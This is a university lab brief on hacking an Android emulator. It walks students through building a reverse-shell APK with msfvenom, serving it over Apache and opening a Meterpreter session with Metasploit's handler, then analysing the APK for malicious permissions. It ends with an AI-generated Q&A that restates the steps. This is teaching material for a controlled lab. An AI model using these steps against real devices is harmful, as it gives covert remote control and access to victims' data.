0% found this document useful (0 votes)
29 views3 pages

Android Hacking: Week 9 Task Guide

Uploaded by

Amir121
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
29 views3 pages

Android Hacking: Week 9 Task Guide

Uploaded by

Amir121
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

WEEK 9 – TASK P

Pass Task.
Release Date: 9-16/9/2024

Learning Outcomes

• Demonstrate exploitation of Android device using Metasploit


• Analyse malicious android apk for securing android mobile devices.
• Demonstrate understanding of mobile platform hacking
• Reflect on Module 9 learning experience.

Instructions

An answer sheet template is available on OnTrack as a `Resources’. Please


download the answer sheet and fill it with your answers. To upload on OnTrack, you need to
convert the answer sheet template document to PDF. MS Word includes built-in PDF
conversation capability.

All questions/tasks that have the icon below must be attempted for you to complete this
task. If screenshots are required, please ensure that text in screenshots is readable.

Remember that troubleshooting technical problems is part of learning in this field. Tasks
are not step-by-step guide. You need to be in the driver seat and learn concepts by doing – as
you would when you start your future job (many times even your supervisor does not know the
answer to problems you face). Do your research patiently to solve issues you face and if you
are stuck:

Help is always available in SIT379/704. Please go to Discussions and ask your questions
about this task in Week 9 P. Also, an extra support and help is provided on IT helphub.
All students are encouraged to participate and help peers with their questions via peer-
support channel on Teams. Helping others is a great way to learn and think about aspects
you may have overlooked. You can also seek help from tutors during online and face-to-
face workshops. Please do not raise your questions through OnTrack, or Email.

Note: This task includes three sections (A, B, and C) that cover different aspects of achieving learning
outcomes. Students will provide evidence of completing tasks and learning and reflect on their learning.
A: Hacking Android Device
In this task, you will use the provided Android emulator VM, pfSense and Kali Linux to hack
mobile devices (i.e., Android). Import the Andriod VM in your virtual Linux, as it is already
set up with different network settings; you need to change its interface to “internal network”
(intnet).

• Compromise Android using backdoor/reverse shell


1. In your Kail Linux, Open the terminal to create a backdoor/reverse shell payload to
exploit the Android device. As usual, you will use msfvenom to create this malicious
payload as shown in the figure. This command will create an Android Application
Package (APK). Remember to change the Ip address to be your Kali VM IP address.

2. Share or send this malicious apk ([Link]) to the victim machine (Android VM).
In real world scenarios, attacker can deliver this malicious code using different methods
such as email phishing or even send it via Bluetooth. For learning purpose, you will
use shared resources. In your Kali machine, follow these steps to create shared folder
and send the file to victim machine:
A) mkdir /var/www/html/share, then enter
B) Type chmod –R 755 /var/www/html/share, then enter
C) Type chown –R www-data:www-data /var/www/html/share, then enter
D) Run service apache2 start, then click enter to start the Apache web server
E) type cp /rot/Desktop/[Link] /var/www/html/share

3. Open Metasploit in Kali Linux and type “use /exploit/multi/handler “ and then enter
4. Type “set payload android/meterpreter/reverse_tcp and specify the LHOST (your kali
machine IP address). The listening port by default is (4444).
5. Type exploit -j –z .This command exploit simply tells Metasploit to start the exploit.
The -j flag tells it to run in the context of a job and -z simply means to not interact with
the session once it becomes active. So, this will run the exploit as a background job.

6. In the Android VM, open the browser and type “[Link] kali linux IP
address/share” (e.g., [Link] You should be able to download the
application” [Link]” and then install in the Android VM. After opening the
application, you should be able to get a session with Android device.
T ask T 1:T After completing the provided steps and successfully opening a
Meterpreter session, submit the following screenshots: The Meterpreter session initiation
and the commands you entered along with their outputs, specifically to show: 1) the IP
address of the Android device, 2) the current remote directory, 3) Changing the directory to
sdcard, 4) a list of running processes on the Android device.

• Securing Android- Analysing a malicious app using online Android analysers

In this task, you will use Sixo Online APK Analyzer “ [Link] “ to analyse “
[Link]”. Open the link in your Browser and upload this malicious file.

ask T 2:TGive examples of the information provided by the analyser. Is there


any permission requested from the user in this malicious code? provide also
example. You must also provide screenshots of the output of analyser to support
your answer.

B. Evidence of learning

Task B1: Provide evidence of your work on module 9. This can contain notes you
took, activities you solved, and any other work you produced. You can scan or take pictures
or screenshots of your work into a pdf document. It is a good idea to include short
comments together with your evidence.

C. Reflecting on the content and your learning

Task C1: Reflect on what you have learned this week. What is the most important
thing you learnt in this module? How does this relate to what you already know? Why do
you think your course team wants you to learn the content of this module?

Common questions

Powered by AI

Understanding the msfvenom tool is crucial because it highlights the potential threats posed by custom payload creation, which can be used to exploit vulnerabilities in mobile applications and systems . By learning about Apache server configurations for hosting malicious files, security professionals can identify and mitigate potential server misuse on actual systems, such as ensuring appropriate permissions and monitoring server logs for unauthorized activities . This knowledge allows security experts to preemptively secure mobile devices by configuring them to recognize and block malicious attempts delivered through similar vectors.

A reflective learning piece on mobile platform hacking should include the most important concepts learned, such as understanding how hacking tools work, and the real-world implications of these tools . It ought to connect new knowledge to pre-existing knowledge, creating a broader framework of understanding. It should discuss the relevance of the learned content to the professional goals of the learners, illustrating the reason the curriculum was structured thusly. Recognizing the enhancement of practical and problem-solving skills is also essential . The reflection should highlight the importance of staying updated with the evolving cyber-threat landscape and developing strategies to mitigate potential risks.

To create and deploy a reverse shell payload on an Android device, you must first open a terminal in Kali Linux to use msfvenom for creating a malicious APK file. This involves creating a payload with the specified command and changing the IP address to that of the Kali VM . You then share this APK with the target Android VM through a shared resource setup involving creating a directory, setting permissions, and configuring Apache to host the file . After preparing the environment, Metasploit is used with specific commands to handle the exploit, such as setting the correct payload and listening host, followed by starting the exploit as a background job. Finally, you direct the Android browser to the hosting URL to download and execute the application, leading to a Meterpreter session initiation .

Troubleshooting technical problems during cybersecurity exercises reinforces learning by compelling students to apply theoretical knowledge to solve practical issues, enhancing problem-solving abilities and resilience . It encourages independent research and fosters resourcefulness, as learners seek solutions through experimentation and external resources. This process solidifies their understanding of cybersecurity principles and operations and is instrumental in preparing them for real-world scenarios where such skills are paramount. Troubleshooting also aids in identifying common pitfalls and refining processes for greater efficiency.

Reflective learning activities are vital in cybersecurity education because they encourage students to internalize and consolidate their learning experiences, facilitating deeper conceptual understanding . Reflecting on what was learned allows students to assess the significance and application of knowledge in real-world contexts, enhancing retention and application skills. Additionally, reflective exercises prompt learners to critically evaluate their learning strategies, identify gaps in their understanding, and develop a more strategic approach to acquiring knowledge.

Online APK analysis tools are crucial in identifying potential threats within Android applications by dissecting APK files to expose hidden behaviors and security risks, such as suspicious permissions or embedded code that could compromise data . These tools provide a detailed examination of app components, including certificates, resources, and code segments, allowing for a comprehensive understanding of any embedded vulnerabilities or malicious features. By using such analyses, security professionals can evaluate risks promptly, implement necessary countermeasures, and encourage best practices in user behavior to maintain device security.

Attackers can deliver malicious payloads to Android devices through various methods such as email phishing, where malicious links or attachments are sent to users, or by utilizing shared resources like unsecured Bluetooth connections and open Wi-Fi hotspots for payload deployment . Mitigation can include implementing security awareness training, encouraging users to verify unknown email sources, and employing security software to detect and block suspicious activity. Additionally, configuring strict permissions for app downloads and utilizing encryption can prevent unauthorized access to malware.

Peer support and tutor assistance enrich the learning experience by providing diverse perspectives and solutions to technical problems, facilitating a deeper understanding of complex cybersecurity concepts . Peer support encourages collaboration and communication skills as students help each other comprehend and address issues. Tutor assistance provides expert insights and guidance, alleviating student frustrations that may arise from challenging tasks. Both enhance engagement with the learning material and foster a community of learners that support and strengthen each other's abilities.

The benefits of completing tasks without step-by-step guides include fostering critical thinking and problem-solving skills, as students must actively engage with the content to overcome challenges . This approach simulates real-world scenarios where solutions are not always apparent, preparing students for the unforeseen problems they might encounter in professional cybersecurity roles. However, the challenges include potential frustration and the risk of students feeling overwhelmed, which can impede learning. Overcoming these challenges requires a supportive environment, encouraging the use of discussion forums, helplines, and peer-support channels to facilitate collaborative learning and troubleshooting .

Online APK analysers like Sixo can extract various crucial details from a malicious APK, including requested permissions that might be unnecessary for the app’s operation, which is a common indicator of malicious activity . For example, if 'Backdoor.apk' requests access to contacts, call logs, or geographic location, it implies potential for data exfiltration or surveillance. By identifying such permissions, security professionals can understand and curb the malicious functions of an application, safeguarding user data, and enhancing overall mobile security.

You might also like